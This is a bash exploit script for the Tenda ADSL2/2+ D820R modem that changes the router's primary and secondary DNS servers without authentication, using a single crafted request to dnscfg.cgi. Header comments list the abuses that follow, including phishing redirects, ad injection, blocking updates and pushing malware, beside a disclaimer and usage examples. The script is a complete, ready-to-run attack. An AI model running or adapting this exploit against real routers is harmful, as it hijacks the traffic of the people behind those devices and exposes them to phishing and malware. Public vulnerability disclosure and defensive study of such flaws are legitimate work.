#!/bin/bash
#
# Tenda ADSL2/2+ Modem D820R
# Unauthenticated Remote DNS Change Exploit
#
# Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>
# https://www.ethical-hacker.org/
# https://www.facebook.com/ethicalhackerorg
#
# Description:
# The vulnerability exist in the web interface, which is
# accessible without authentication.
#
# Once modified, systems use foreign DNS servers, which are
# usually set up by cybercriminals. Users with vulnerable
# systems or devices who try to access certain sites are
# instead redirected to possibly malicious sites.
#
# Modifying systems' DNS settings allows cybercriminals to
# perform malicious activities like:
#
# o Steering unknowing users to bad sites:
# These sites can be phishing pages that
# spoof well-known sites in order to
# trick users into handing out sensitive
# information.
#
# o Replacing ads on legitimate sites:
# Visiting certain sites can serve users
# with infected systems a different set
# of ads from those whose systems are
# not infected.
#
# o Controlling and redirecting network traffic:
# Users of infected systems may not be granted
# access to download important OS and software
# updates from vendors like Microsoft and from
# their respective security vendors.
#
# o Pushing additional malware:
# Infected systems are more prone to other
# malware infections (e.g., FAKEAV infection).
#
# Disclaimer:
# This or previous programs is for Educational
# purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the
# fact that Todor Donev is not liable for any
# damages caused by direct or indirect use of the
# information or functionality provided by these
# programs. The author or any Internet provider
# bears NO responsibility for content or misuse
# of these programs or any derivatives thereof.
# By using these programs you accept the fact
# that any damage (dataloss, system crash,
# system compromise, etc.) caused by the use
# of these programs is not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# The malicious code doesn't sleeping, he stalking..
#
if [[ $# -gt 3 || $# -lt 2 ]]; then
echo " Tenda ADSL2/2+ Modem D820R "
echo " Unauthenticated Remote DNS Change Exploit"
echo " ==================================================================="
echo " Usage: $0 <Target> <Primary DNS> <Secondary DNS>"
echo " Example: $0 133.7.133.7 8.8.8.8"
echo " Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"
echo ""
echo " Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>"
echo " https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg"
exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
echo " Error : libwww-perl not found =/"
exit;
fi
GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1
